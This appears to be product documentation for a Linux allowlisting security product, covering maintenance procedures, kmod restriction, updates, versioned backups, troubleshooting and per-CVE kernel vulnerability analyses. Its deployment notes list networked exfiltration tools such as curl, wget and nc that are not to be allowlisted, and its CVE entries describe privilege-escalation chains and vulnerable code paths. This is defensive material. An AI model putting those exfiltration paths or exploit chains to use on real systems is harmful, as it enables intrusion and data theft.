Overview: Every maintenance window is an attack window — blocking is temporarily suspended, and anything an attacker can reach during that period is unprotected. Maintenance — such as installing packages, editing files, or applying updates — is the period during which you temporarily reduce Root Lock by HeartSuite’s protection to make changes. The Dashboard’s Maintenance ([t]) guides you through the entire process, from safety preparation to re-engaging Lockdown. The Maintenance appears only when the system is in Lockdown, Lockdown+sealed, or on the Non-HS kernel — it is not shown in Setup Mode, because in Setup Mode you are already in the maintenance-ready state.

Most maintenance uses Option 1 below — a single reboot that stays on the Root Lock by HeartSuite kernel in Setup Mode. No GRUB interaction and no old kernel required. Option 2 (booting the Non-HS kernel) is only needed when the immutable seal is active, which is the less common path.

Starting maintenance

From the Dashboard in Lockdown, select Maintenance ([t]). The Dashboard automatically detects whether the immutable seal is active and presents the correct path — you do not need to determine this yourself.

Safety checklist

Before any mode change, Maintenance presents a safety checklist. The Dashboard auto-detects system state where possible and shows the status of each item:

• Network isolation — disable network interfaces or restrict firewall rules to prevent remote access during maintenance
• Server processes — shut down daemons (e.g., web servers) to close attack vectors
• SSH access — no root login, key-based auth only, source IP restriction

The Dashboard shows green checkmarks for items that pass and amber warnings for items that need attention. Press [c] Confirmed to proceed or [s] Skip to continue without completing the checklist. If you skip, the Dashboard displays a persistent reminder throughout the maintenance period — it does not disappear until you re-engage Lockdown.

Option 1: switch to Setup Mode (no Lockdown)

This is the standard maintenance path. The Root Lock by HeartSuite kernel stays active. Logging and backups remain fully operational.

After completing the safety checklist, the Maintenance explains what will change:

• Root Lock by HeartSuite switches from blocking to logging only
• The Root Lock by HeartSuite kernel remains active
• Backups continue running
• The existing allowlist is preserved
• New activity is logged, not blocked — it will appear in the review queues when you re-engage Lockdown

Type YES (case-sensitive) to confirm the switch. The Dashboard reboots to apply the mode change.

After rebooting, the Dashboard shows Setup Mode is active with a Suggested Next Step. If the safety checklist was skipped, a persistent reminder appears. Make your changes — install packages, edit configuration, update software. Root Lock by HeartSuite logs all new activity silently.

When finished, re-engage Lockdown from the Dashboard. New activity from the maintenance period appears in the review queues. Review and approve them through the standard allowlisting flow before Lockdown resumes.

Option 2: boot the Non-HS Kernel (Lockdown active)

When Lockdown is active, the Maintenance does not offer the Setup Mode switch. Instead, it explains the situation and guides you through a 3-step process. This is the most complex journey in the product — it involves two reboots, a kernel selection at GRUB where the Dashboard cannot guide you, and a period where Root Lock by HeartSuite is completely absent.

Step 1 of 3: boot Non-HS Kernel and remove immutable flags

After the safety checklist and typing YES to confirm, the Dashboard prepares you for the GRUB boot menu — the one moment where it cannot provide guidance. It shows the exact Non-HS kernel name to select and warns you not to select the Root Lock by HeartSuite kernel. Press [r] to reboot.

The Dashboard saves your maintenance session state before rebooting. This state persists across reboots and kernel changes — the step counter (“Step X of 3”) follows you throughout the process.

After selecting the Non-HS kernel from GRUB, the Dashboard resumes automatically on login. It detects the absence of the Root Lock by HeartSuite kernel module and adjusts its interface — actions that require the Root Lock by HeartSuite kernel are hidden entirely, not greyed out. The Dashboard shows:

• “Non-HS kernel active. Root Lock by HeartSuite is not loaded.”
• “No blocking. No logging. No backups.”
• “Maintenance step 1 of 3: Remove immutable flags.”

Press [u] to remove the immutable flags set by Lockdown. After the flags are removed, the Dashboard presents the automatic Lockdown re-engagement choice:

• [d] Disable automatic Lockdown re-engagement — the startup script will no longer apply Lockdown on boot. You can re-enable this later. This simplifies future maintenance.
• [k] Keep automatic re-engagement — Lockdown will re-apply on every Root Lock by HeartSuite kernel boot. Future maintenance will require this same process.

Both options carry equal weight — neither is recommended over the other. The choice depends on your operational needs.

Step 2 of 3: make your changes

The Dashboard transitions to the maintenance workspace:

• “Maintenance step 2 of 3: Make your changes.”
• “You are on the Non-HS kernel. Root Lock by HeartSuite is not active. Changes made now will not be logged.”

Make your changes — install software, update packages, modify configuration files. When finished, press [f] to prepare the return to the Root Lock by HeartSuite kernel. The Dashboard pre-configures Setup Mode for the next boot.

Step 3 of 3: boot Root Lock by HeartSuite kernel and review

Select the Root Lock by HeartSuite kernel from GRUB. The Dashboard appears automatically, showing Setup Mode is active and displaying the maintenance step counter. Software installed during maintenance may generate new entries — these appear in the review queues. Review and approve them, then re-engage Lockdown from the Dashboard. If the immutable seal was previously active and you kept automatic re-engagement, Lockdown will re-apply on the next reboot.

Manual recovery outside the Maintenance screen

When Lockdown makes files immutable using chattr +i, those flags are stored at the filesystem level and persist across reboots — including reboots to the Non-HS kernel. If you attempt to modify a file that was made immutable during a previous Lockdown session, you will encounter an error such as “could not open file; errno:1.” The Maintenance’s [u] Remove immutable flags handles this automatically during Step 1 of the Lockdown path. For recovery outside the Dashboard, run HS_unlock.sh.

11.2 - Adjusting the Cache Size

Overview: Root Lock by HeartSuite caches allowlist entries in kernel memory for performance — each cache slot holds one program. The Dashboard automatically expands the cache to match your allowlist size, so for most systems no tuning is needed. Manual adjustment is only relevant when the allowlist exceeds the kernel cache maximum of 255 entries.

Automatic cache expansion

On startup and every state refresh, the Dashboard compares the size of your allowlist against the current kernel cache size. If the allowlist is larger, the Dashboard silently expands the cache to fit — up to the kernel maximum of 255 entries. The minimum cache size is 10 entries.

This runs in the background on the Dashboard’s normal 60-second refresh cycle. You do not need to invoke any CLI tool, change any settings, or even know the current cache size — the Dashboard handles it whenever it loads or refreshes.

When the allowlist exceeds 255 entries

If your allowlist grows beyond 255 entries — unusual for most workloads, but possible on servers running many distinct programs — auto-expansion stops at the kernel maximum. The Dashboard logs a warning:

Allowlist has 312 entries but kernel cache max is 255; consider removing unused entries.

The Allowed ([a]) is the place to review and remove entries you no longer need. After pruning, the Dashboard’s next refresh fits the cache to your trimmed allowlist automatically.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, hs-cache-size sets the cache to a specific size between 10 and 255:

# hs-cache-size 128

The Dashboard is the supported path for normal use.

11.3 - Restricting Kernel Module Loading

Overview: Root Lock by HeartSuite does not add kmod, modprobe, or insmod to the allowlist during installation — in Lockdown, none of them can execute, and no additional configuration is needed for module loading on a standard deployment. If your hardware requires kmod at startup to load device drivers or filesystem modules, kmod must have an allowlist entry. In that case, restrict kmod’s file access permissions to only the specific modules it needs before engaging Lockdown. An allowlisted kmod with unrestricted file access can load any module on the system.

Default deployments: no action required

If kmod, modprobe, and insmod have no allowlist entries, Root Lock by HeartSuite refuses to execute them in Lockdown. No module-loading hardening is needed — skip this page.

When kmod is allowlisted

Some hardware configurations require kmod at startup to dynamically load drivers or filesystem modules the system needs to boot. Once kmod has an allowlist entry, it can execute — and without further restriction, kmod’s file access permissions determine which modules it can load.

The hardening step is to narrow those file access permissions to the specific module paths kmod legitimately needs. If kmod attempts to load a module outside its permitted paths, Root Lock by HeartSuite blocks the file access in Lockdown before the module can be read.

Restricting kmod’s file access permissions

Do this before engaging Lockdown. Once Lockdown is active, allowlist entries are sealed and cannot be modified without a maintenance window.

When kmod’s startup activity appears in the File Access queue ([f]) during Setup Mode, approve individual .ko file paths rather than directory-level access. Approving a directory grants kmod read access to everything under it — including modules not present during observation. Approving specific file paths limits kmod to exactly what it accessed during Setup Mode.

If kmod already has directory-level file access permissions, use hs-manage-allowlist to remove the broad entries and re-add specific paths. See hs-manage-allowlist --help for usage.

After narrowing kmod’s file access permissions, reboot and confirm the system starts normally with no kmod access denials in the review queues. Then activate Lockdown from the Lockdown button ([m]). If kmod still has directory-level access at that point, the Lockdown confirmation surfaces an advisory before the YES prompt — you have one more opportunity to act before the configuration is sealed.

Per-user shell profile coverage

Lockdown seals system-wide shell configuration — /etc/profile, environment defaults, and cron — preventing an attacker from planting scripts that run at the next boot and expand kmod’s permissions before Lockdown re-engages. Per-user profile files (~/.bash_profile, ~/.bash_login, ~/.profile, ~/.bashrc, ~/.inputrc) are not covered automatically because the correct set depends on your user configuration.

If your deployment requires coverage for specific user accounts, enable the commented-out entries for those users in HS_lockdown.sh before engaging Lockdown.

How Lockdown reinforces the restriction

After Lockdown engages, three layers protect against module-loading attacks:

• Allowlist entries are sealed — kmod’s allowlist entry cannot be modified while Lockdown is active. An attacker cannot add new module paths even with root access.
• Startup scripts are sealed — Lockdown seals system-wide shell configuration, systemd unit directories, and cron. Attackers cannot insert scripts that would run before Lockdown re-engages on the next boot and expand kmod’s permissions.
• Kernel-level block — Lockdown blocks new module loads at the kernel level, independently of the allowlist.

11.4 - Updating HeartSuite

Overview: A HeartSuite update is delivered as a single self-extracting bundle (heartsuite-install.sh) that replaces the Root Lock by HeartSuite kernel and its userspace tools in one operation.

What an update changes

• The Root Lock by HeartSuite kernel (vmlinuz-<version>-HeartSuite-<patch>)
• HeartSuite userspace tools (activate_HS, lockdown_HS, Secure Script Launchers, setup scripts)
• The Dashboard files under /opt/heartsuite/
• GRUB configuration, so the new kernel becomes the default boot target

It does not modify user data, the existing allowlist entries, or backup files. Root Lock by HeartSuite may add new allowlist entries if the new kernel encounters programs that were not running under the previous kernel.

Why two reboots are required

The running Root Lock by HeartSuite kernel cannot replace itself. The installer verifies this and aborts if it detects it is running on the Root Lock by HeartSuite kernel. An update therefore requires:

1. A reboot from the Root Lock by HeartSuite kernel to the Non-HS kernel.
2. Running the installer on the Non-HS kernel.
3. A reboot back into the new Root Lock by HeartSuite kernel.

Root Lock by HeartSuite is not active while the Non-HS kernel is running. Schedule updates during a planned maintenance window.

Before you begin

• Disengage Lockdown if it is active. Lockdown uses chattr +i filesystem immutability on HeartSuite configuration files; the installer cannot replace them while Lockdown is engaged. From the Dashboard, open Maintenance ([t]) and follow the guided path to disengage.
• Verify the bundle. Compare the SHA-256 of heartsuite-install.sh against the published checksum before running it.

Update procedure

1. Place heartsuite-install.sh and heartsuite-install.sh.sha256 on the system, typically by scp into /root/.

2. Verify integrity:

   sha256sum -c heartsuite-install.sh.sha256
   

   Expected output: heartsuite-install.sh: OK

3. Reboot and select the Non-HS kernel at the GRUB menu.

4. Log in as root over SSH or the serial console.

5. Run the installer:

   bash heartsuite-install.sh
   

6. The installer applies the update and reboots automatically into the new Root Lock by HeartSuite kernel.

7. If new programs are encountered, Root Lock by HeartSuite reads the startup logs, adds the programs it finds to the allowlist, and reboots as needed (Phase 1). The Dashboard appears when this is complete.

8. Re-engage Lockdown from the Dashboard if it was active before the update.

If the update fails

If the new Root Lock by HeartSuite kernel does not boot, select the previous kernel from the GRUB menu. Physical or serial-console access is required for this step. Both the previous Root Lock by HeartSuite kernel and the Non-HS kernel remain available as recovery entries. Contact HeartSuite support and include the contents of /var/log/heartsuite/install.log in your message — we’re happy to help you recover.

11.5 - File Backup and Versioning

Overview: Allowlisting controls what programs can run, but an approved program that malware takes over can still write files — ransomware running inside an approved process can encrypt whatever that process can reach. Modern ransomware targets backup systems first — shadow copies and backup agents are typically deleted before files are encrypted. Root Lock by HeartSuite automatically creates a versioned backup every time a file in a protected directory is written, and under Lockdown the kernel itself prevents any program from reaching those backups. No other program, including malware running as root, can read or destroy them. Versions are never automatically deleted.

Automatic versioning

Root Lock by HeartSuite monitors a list of protected directories. When any file in those directories (including subdirectories) is written, Root Lock by HeartSuite silently creates a new versioned backup before the write completes. This runs automatically in both Setup Mode and Lockdown — protection begins from first boot, before you have reviewed a single item.

Enterprise backup tools back up on a schedule — hourly, nightly, weekly. An attack that completes between backup windows has nothing to recover from. Root Lock by HeartSuite backs up on every write. There is no window. Other security products that offer rollback on Linux — including endpoint products with a rollback feature — rely on volume shadow copies or scheduled snapshots. The same gap exists: an attack that completes between snapshot intervals has nothing to recover from.

CVE-2024-40711 — Veeam Backup & Replication, unauthenticated RCE — shows the sharper problem: the backup product itself is the target. An attacker who reaches a Veeam host can execute code without authentication, destroy backups, then encrypt production files. Root Lock by HeartSuite’s backups have no running agent to exploit — under Lockdown, the kernel itself prevents any program from reaching them.

By default, /home is configured for backup. You can add or remove directories from the Dashboard’s Backup.

Configuring protected directories

From the Dashboard, select Backup ([b]). The Dashboard shows your current backup configuration — which directories are protected and when they were last backed up.

From here you can:

• Add directories ([n]) — protect additional directories (e.g., /var/www, /etc, /usr/lib)
• Remove directories ([r]) — stop backing up a directory (removing a directory does not delete existing backups; existing versions are retained)

Recommended directories include those containing user documents, executable files, configuration, and shared libraries. Avoid high-churn directories like log directories — backup creates a new version on every write.

Restoring file versions

If a file is compromised — for example, encrypted by ransomware — the Dashboard’s Backup lets you browse version history and restore any previous version of any file in a protected directory. The Backup offers two browse modes:

• File-first ([f]) — navigate by directory and file, then view versions of the selected file
• Timeline ([t]) — navigate by date, showing all files modified on a given day

To restore a single file, select it and choose the version to restore. Each version shows its timestamp and file size.

For ransomware recovery where many files were modified on the same date, use the Timeline view ([t]), press [d] to filter by date, review the affected files, and press [b] to batch restore all of them in one operation.

Lockdown and backup

When Lockdown is active, the backup configuration file is sealed — no user or program, including root, can add or remove directories. This prevents an attacker who compromises a running process from silently disabling backup. To change the backup configuration, enter a maintenance period first (see Protecting During Maintenance).

Backup encryption

Root Lock by HeartSuite backup files are versioned filesystem copies. They are not encrypted at the HeartSuite layer. If your environment requires data-at-rest encryption — for example, to meet GDPR, HIPAA, or PCI DSS requirements — configure full-disk encryption (dm-crypt/LUKS) at the OS level. LUKS encryption covers the backup files automatically, since they reside on the same filesystem as the rest of the host.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, the following CLI tools are available:

# hs-backup-config-manager add /var/www
# hs-backup-config-manager remove /home
# hs-backup-config-manager list
# hs-version-manager list /home/user/document.txt
# hs-version-manager restore /home/user/document.txt --version 2023-11-01

The Dashboard is the supported path for normal use.

12 - Troubleshooting and Logs

Overview: When something stops working on a locked-down system, the cause is usually one of three things: a missing allowlist entry, the system being in a different mode or on a different kernel than expected (Setup vs Lockdown, immutable seal active, or the Non-HS kernel), or a kernel issue. The Dashboard tells you which one — the indicator at the top shows the current protection state, and the Suggested Next Step tells you what to do. The kernel log is available for advanced diagnostics when needed.

Where to start

The Dashboard is the primary diagnostic tool. Before checking log files, review:

• Protection state (indicator at the top): Confirms the current protection level. If it shows “SETUP MODE”, “LOCKDOWN — immutable seal not applied”, or “NON-HS KERNEL”, you immediately know what protection level is active. No indicator means Lockdown with immutable seal — full protection.
• Status line at the bottom: Shows kernel type (HS or Non-HS), current mode with uptime, and lockdown status.
• Pending/Denied counts: In Setup Mode, these are pending items awaiting approval. In Lockdown, these are denied actions that may need allowlisting.
• Suggested Next Step: Provides a single, actionable recommendation based on the current system state.

Log management

Root Lock by HeartSuite captures all activity and presents it through the Dashboard’s three review queues: Programs ([p]), File Access ([f]), and Internet Access ([i]). The Dashboard shows pending counts for each queue and groups items by category, so you always know what needs attention. The Maintenance ([t]) provides guided workflows for common maintenance tasks.

The review queues are how you see and resolve what needs attention. The underlying activity log is a temporary buffer — once all three review queues are empty, the Dashboard automatically clears the log on its next refresh. No manual action is required.

For compliance, SIEM integration, or long-term retention, Root Lock by HeartSuite also emits a per-decision enforcement stream and a separate alert stream over RFC 5424 syslog, plus a dedicated persistent JSONL log of all allowlist approvals. These are described in the SOC 2 and compliance reference documents.

Allow several days to a week of observation in Setup Mode. Systemd timers, cron jobs, and infrequent services appear in the review queues only when they run — the review queues accumulate these automatically.

Kernel log

The Dashboard’s review queues automatically collect entries from both the Root Lock by HeartSuite activity log and the kernel log. During normal operation, you do not need to read dmesg directly.

The kernel log is useful for advanced troubleshooting in three situations: a program fails but the Dashboard shows zero pending or denied items for it; the Root Lock by HeartSuite activity log has been cleared or rotated; or you need to correlate Root Lock by HeartSuite entries with other kernel messages:

dmesg | grep HEARTSUITE

The Dashboard presents the same information with metadata enrichment and grouping. The Dashboard is accessible on both the Root Lock by HeartSuite kernel and the Non-HS kernel — on the Non-HS kernel, the indicator at the top shows “NON-HS KERNEL” and blocking is inactive.

Reporting issues

If you encounter a bug, open an issue on GitHub using the Bug Report template. Include your Root Lock by HeartSuite version, kernel version, the protection state shown at the top of your Dashboard, and steps to reproduce. For security vulnerabilities, email support@heartsecsuite.com.

13 - FAQs

General

Installation

Allowlisting

Modes and security

Troubleshooting

For support email support@heartsecsuite.com.

14 - Kernel Security Transparency

Every kernel CVE relevant to Root Lock by HeartSuite — what it can do, what it cannot, and why.

The Score on HeartSuite column shows the CVSS v3.1 Environmental Score for a Root Lock by HeartSuite deployment — the actual risk on your system, not the theoretical worst case. Where the attack surface is absent — hardware not present, trigger not installed — the Score on HeartSuite is 0.0 regardless of Base Score. Where the code path is reachable, MI is reduced from High to Low: Lockdown’s allowlist refuses new code execution and blocks allowlist modification. Scores are computed using CR=M, IR=M, AR=M with no Temporal adjustments.

CVE Status

Understanding CVE Scores in HeartSuite

CVEs are rated by severity (e.g., HIGH means a score of 7+). A “0.0” score here means HeartSuite fully neutralizes the vulnerability—it’s not reachable. A “non-zero” score means the flaw can still be exploited in HS, but its impact is limited, often to temporary effects that a reboot clears. This helps you see real risks clearly.

What malware can and cannot do on this system

Across every reachable CVE in this document, the answer is the same — and short.

Blocked

• Persistence across reboot. No service, cron job, init script running new code, or kernel module added by the attacker survives a reboot. The allowlist is populated only at boot from your authorized sources; any in-memory tampering is wiped on the next boot.

Supply-chain compromise: contained, not prevented.
If malware arrives inside a trusted update, HeartSuite does not block it from running — it was authorized. What HeartSuite does enforce is the blast radius. The malware cannot launch processes outside the allowlist, cannot reach unallowlisted network destinations, and cannot install additional code. A compromised supplier gets one program slot, not the system.

• New program execution. The kernel refuses to run any program not in the Lockdown allowlist, regardless of root privilege. Backdoors, custom exploit tools, droppers, and post-exploitation frameworks cannot run.
• Kernel module loading post-boot. On Debian 12, modprobe and insmod are symlinks to kmod, which is added to the allowlist during standard Setup Mode via systemd-modules-load.service. Lockdown’s file-access enforcement denies kmod access to /usr/lib/modprobe.d/ by default — module loading fails at the file-read stage before any module can be loaded. Module-based rootkits cannot be installed.
• Allowlist modification at runtime. The runtime allowlist lives in kernel memory and is not modifiable post-boot. The on-disk allowlist file is chattr +i immutable; Lockdown blocks FS_IOC_SETFLAGS so root cannot strip the immutable flag.
• Mounting new filesystems. Lockdown blocks mount(), fsmount(), and move_mount() after boot. Bind-mounts and remounts to shadow allowlisted paths are refused.

Bounded by allowlist composition

• Data exfiltration. Reading data is not constrained — root with kernel-context primitives can read any file. Sending data off-host is bounded by which networked utilities are in your allowlist. Deployments with no outbound networking utilities allowlisted have no in-band exfiltration path.
• Service disruption. Root can panic the kernel via syscall primitives or kill -9 allowlisted services. Availability hardening is a separate control; HS does not prevent denial-of-service.
• Lateral movement. Attackers can pivot through whatever the allowlisted process tree permits, but cannot extend that tree. New processes outside the allowlist do not run.

Under Lockdown, the kernel controls three things per program — whether it can execute, which files it can read or write, and which network destinations it can reach — and holds those controls regardless of user privilege, including root. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the system is running.

Out of scope

• Sensitive-data disclosure during the live session. A root attacker can read disk content while the session is active. Confidentiality during the breach is the role of disk encryption, not Lockdown.
• Hardware-level and pre-boot threats. Firmware compromise, baseboard management exploits, and physical attacks on the boot chain are outside the HS attack surface.
• Misconfigured allowlists. If you allowlist tools you should not — modprobe, bpftool, networked exfiltration utilities — outcomes move from “Blocked” to “Bounded” and from “Bounded” to “Allowed.” See the deployment-tuning note.

The reason the answer is the same for every reachable CVE in this document is that HeartSuite’s enforcement is structural, not state-based. Most kernel hardening products gate enforcement on a state variable that an attacker with arbitrary kernel write can clear in a single instruction. Lockdown’s allowlist is consulted on every execve regardless of any state variable. There is no kill-switch.

Over 1,000 CVEs across 178 disabled-feature groups are listed in Not Affected — Disabled Features below.

How to read the backstop sections

Root Lock by HeartSuite runs two independent kernel-level controls, and the entries below reference both. They are not peers in a list — one is load-bearing, one is defense-in-depth, and the distinction matters when reading residual risk:

• Lockdown (load-bearing). hs_sandbox_caching.c enforces the SPF allowlist on every execve. This check runs unconditionally — it is not gated by HS_lockdown_state — so it continues to refuse non-allowlisted programs even if an attacker with arbitrary kernel write clears Lockdown. The only Lockdown-conditional behavior in this file is an additional log-file write block; the allowlist match itself is independent.
• Lockdown (defense-in-depth). sys_hs_lockdown_hs() sets HS_lockdown_state = 7. While that atomic is nonzero, kernel/ioctl.c:561,568 returns EPERM on FS_IOC_GETFLAGS/FS_IOC_SETFLAGS (closing the chattr -i path that would otherwise let root strip immutability from the allowlist file), and kernel/namespace.c:4218,4300,4453 returns EPERM on all mount paths. There are five HS_locked_down() check sites total in the kernel — none in fs/ or net/ — so Lockdown is an API-gate layer, not an in-line corruption boundary.

The load-bearing control against persistence and lateral expansion is Lockdown’s allowlist. Even in the worst case where an attacker chains a kernel UAF into arbitrary write and clears HS_lockdown_state, they still cannot run new programs, modify the allowlist, install backdoors, or survive a reboot, because the allowlist check is not on the same state machine. They regain only the ability to mount filesystems and set immutable flags — meaningful but bounded.

Per-CVE entries below name the bug, then state which of these two layers limits its post-exploitation impact and how. The standard backstop paragraph is intentionally short: it points back here rather than re-litigating the architecture in every entry.

Why this is unusual

Most kernel hardening products gate enforcement on a single state variable that an attacker with arbitrary kernel write can clear in one instruction. Root Lock by HeartSuite does not work that way. Lockdown’s allowlist is consulted on every execve regardless of Lockdown’s state — there is no kill-switch an attacker can flip. Even in the worst case examined anywhere in this document, the system continues to refuse new code execution. That is the property that makes the per-CVE backstops below short, calm, and identical: the answer is the same for every CVE, because the answer is structural.

Note on Scores on HeartSuite and deployment tuning

The Scores on HeartSuite published in this document assume a worst-case allowlist composition — i.e., that your Lockdown allowlist contains common utilities including networked tools (curl, wget, ssh outbound, nc, python with sockets, etc.). Under that assumption, an attacker who reaches root via one of the Affected CVEs retains a confidentiality impact of HIGH (MC:H) because they can read sensitive data and pipe it out via an already-allowlisted networked utility. This is the conservative, deployment-agnostic floor.

If you run a tighter allowlist, you may legitimately credit a lower MC. Specifically:

• Allowlist contains zero outbound-networking utilities (no curl, wget, outbound ssh, nc, scripting languages with socket access, etc.): MC:L becomes defensible — the attacker can read on disk but has no in-band exfiltration path within Lockdown’s allowlist. Out-of-band (physical-console, side-channel) exfiltration remains possible; that’s why the credit is L, not N.
• Allowlist contains zero process-mutation utilities (no kill, pkill, init-system control surfaces beyond what HS itself uses): MA:L becomes defensible for the disruption-via-userspace component, though kernel-level availability impact (panics, OOM via syscalls) is independent of allowlist composition and keeps MA:H for any CVE that grants kernel-context primitives.

These are deployment-specific reductions and are not baked into the published Scores on HeartSuite in this document. If you have hardened your allowlist accordingly, you can recompute your deployment-specific score by adjusting MC and/or MA in the modified vector. The published scores are correct for any deployment that has not affirmatively confirmed the tighter conditions above.

Note on Not-exploitable entries that depend on allowlist composition

Several Not-exploitable entries below justify their 0.0 Score on HeartSuite with phrasing of the form “X not in allowlist.” These claims are accurate for any HeartSuite deployment built through the standard Setup Mode workflow, where the allowlist is populated from production service activity. Utilities not invoked during that workflow would not be added to the allowlist. Specifically, the following utilities should not be allowlisted on a production Root Lock by HeartSuite deployment:

• modprobe, insmod / kmod — kernel module loading. On Debian 12, these resolve to kmod, which standard Setup Mode does allowlist; the protection is Lockdown’s file-access enforcement denying kmod access to /usr/lib/modprobe.d/. Granting kmod that access reverts CVE-2024-36883 (and any other module-loading-dependent CVE) to Affected.
• tc (iproute2 traffic control) — qdisc/filter manipulation. Allowlisting reverts CVE-2025-37914 / 37915 / 37923 / 22121 and other NET_SCHED CVEs to Affected.
• bpftool, trace-cmd, perf, debugfs/tracefs writers — kernel instrumentation. Allowlisting reverts the kprobe / tracing / perf CVE cluster (CVE-2024-38588 etc.) to Affected.
• dmsetup, raw block-device tools, cryptsetup mappings created post-boot — block-layer mutation. Same shape.
• ip xfrm, setkey, strongSwan, libreswan, or any IKE daemon — XFRM management. Allowlisting any of these enables XFRM security association setup, making esp_output reachable and reverting CVE-2026-43284 to Affected 8.8 HIGH.
• e4defrag or any extent-defragmentation tool — ext4 online defragmentation. Allowlisting reverts CVE-2024-26704 to Affected 7.8 HIGH.

If you run a development, debug, or instrumentation-heavy deployment and legitimately need any of the above, treat the corresponding Not-exploitable entries in this document as Affected for your environment, and apply the standard Affected backstop logic (Lockdown’s allowlist still refuses unknown programs, but the now-allowlisted utility is itself the trigger). The “Not exploitable” classifications below are correct for Root Lock by HeartSuite deployments; they are not universal.

CVE-2026-31431

Status: Not Affected
Component: algif_aead — the in-kernel AEAD interface exposed by the AF_ALG socket family (CONFIG_CRYPTO_USER_API_AEAD)
Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — CNA (kernel.org); NVD assessment pending
Upstream fix: Linux 6.12.85 (LTS), 6.18.22 (LTS), 6.19.12 (LTS)

This CVE describes a privilege escalation through the AF_ALG socket interface. An attacker who can open an AF_ALG socket reaches algif_aead_copy_sgl(), exploits a copy-on-write failure in the scatter-gather list handling, and gains root.

CONFIG_CRYPTO_USER_API_AEAD is not compiled into the Root Lock by HeartSuite kernel. The AF_ALG socket family is not available. An attempt to open an AF_ALG socket returns EAFNOSUPPORT — there is no algif_aead code present in the running kernel and therefore no reachable code path. The Root Lock by HeartSuite kernel predates the upstream fix versions listed above, but the fix is not required: the fix removes a vulnerability in code that was never compiled in.

Lockdown closes the remaining question. Even if the code path were present, Lockdown — chattr +i filesystem immutability combined with the Root Lock by HeartSuite kernel refusing runtime changes to the allowlist — removes every useful action root can take after gaining privilege. The kernel refuses to clear immutable flags. Mount operations are blocked in Lockdown. Writes to the audit log are blocked. Root cannot modify the allowlist, add a backdoor, or persist across a reboot.

See Deployment Scenarios → Production Servers for the architectural context of how Lockdown interacts with a privilege escalation reaching root.

CVE-2026-43284

Status: Not exploitable
Component: XFRM framework and IPv6 ESP (CONFIG_XFRM, CONFIG_INET6_ESP)
Base Score: 8.8 HIGH — NVD full vector assessment pending
Score on HeartSuite: 0.0 — esp_output is unreachable; no XFRM security association can be established on a default Root Lock by HeartSuite deployment
Upstream fix: merged; backported to active stable series by 2026-05-09 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a write-what-where condition in the esp_output page-write path. The vulnerable code is at net/ipv6/esp6.c:524: tail = page_address(page) + pfrag->offset followed by esp_output_fill_trailer(tail, esp->tfclen, esp->plen, esp->proto). If pfrag->offset is corrupted or attacker-influenced, the trailer write reaches an arbitrary kernel page address. The identical pattern exists in net/ipv4/esp4.c:489 (CONFIG_INET_ESP, not compiled), but the absence of IPv4 ESP is irrelevant — esp6.c carries the same code. The bug is one half of the “Dirty Frag” exploit chain; chaining it with CVE-2026-43500 produces a deterministic privilege escalation.

CONFIG_INET6_ESP=y is compiled in and esp6.c:524 is present in the running kernel. The esp_output function is called only when the kernel encrypts an outgoing packet that matches a configured XFRM security association. With no security association configured, esp_output is never reached — by any user, at any privilege level. Configuring a XFRM security association requires XFRM management tooling: ip xfrm (iproute2), setkey, strongSwan, libreswan, or an equivalent IKE daemon. None of these are in the Root Lock by HeartSuite default allowlist. Under Lockdown, the allowlist is chattr +i immutable and FS_IOC_SETFLAGS returns EPERM for all callers — root cannot add management tools and therefore cannot establish a security association. The esp_output page-write path is unreachable for the lifetime of the boot.

The Dirty Frag chain has no second link on this system regardless: CONFIG_AF_RXRPC is not compiled (see CVE-2026-43500).

The trigger cannot be reached on any default Root Lock by HeartSuite deployment.

If your deployment adds XFRM management tooling (ip xfrm, setkey, strongSwan, libreswan, or an equivalent IKE daemon) to the HS allowlist, a security association can be established and esp_output becomes reachable. In that configuration this CVE applies at its base score of 8.8 HIGH. Treat it as Affected and apply the standard backstop logic.

CVE-2026-43500

Status: Not Affected
Component: rxrpc — RxRPC transport protocol (CONFIG_AF_RXRPC)
Base Score: 7.8 HIGH — NVD full vector assessment pending
Upstream fix: merged; backported to active stable series by 2026-05-09 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a local privilege escalation through an out-of-bounds write in the rxrpc transport protocol implementation. It is the second half of the “Dirty Frag” exploit chain (paired with CVE-2026-43284); chaining both produces a deterministic privilege escalation to root.

CONFIG_AF_RXRPC is not compiled into the Root Lock by HeartSuite kernel. The rxrpc address family is not available; an attempt to open an AF_RXRPC socket returns EAFNOSUPPORT. The vulnerable code in net/rxrpc/ is entirely absent from the running kernel. The Root Lock by HeartSuite kernel predates the upstream fix, but the fix is not required: there is no reachable code path for this bug on any Root Lock by HeartSuite deployment. The Dirty Frag chain has no second link on this system.

The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2024-47685

Status: Score on HeartSuite 0.0 — trigger not present in default configuration Component: nf_reject_ipv6 — IPv6 netfilter TCP RST generation (CONFIG_NF_REJECT_IPV6, CONFIG_IP6_NF_TARGET_REJECT)
Base Score: 9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)
Score on HeartSuite: 0.0 — trigger not present; HeartSuite installs no ip6tables REJECT rules
Upstream fix: Linux 4.19.323, 5.4.285, 5.10.227, 5.15.168, 6.1.113, 6.6.54, 6.10.13, 6.11.2 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes an information disclosure in the IPv6 netfilter TCP reset path. When the kernel sends a TCP RST packet in response to a connection rejected by an ip6tables rule, nf_reject_ip6_tcphdr_put() allocates a TCP header via skb_put() without zeroing the buffer. The function then writes every field in the header explicitly except the four reserved bits (th->res1) in byte 12. Those bits retain whatever value was in the allocated kernel memory region. The RST packet is sent with that uninitialized content on the wire.

CONFIG_NF_REJECT_IPV6=y and CONFIG_IP6_NF_TARGET_REJECT=y are compiled in. The code path exists in this kernel. The vulnerable function has five callers across the kernel source. In this configuration only ip6t_REJECT.c is compiled — the remaining four callers (nft_reject_ipv6, nft_reject_inet, nft_reject_bridge, nft_reject_netdev) are all gated by CONFIG_NF_TABLES, which is not set. Reaching the vulnerable code therefore requires an active ip6tables rule using REJECT --reject-with tcp-reset on IPv6 traffic. The Root Lock by HeartSuite install scripts and service unit contain no ip6tables rules of any kind. If you manually add such a rule, this path becomes exposed.

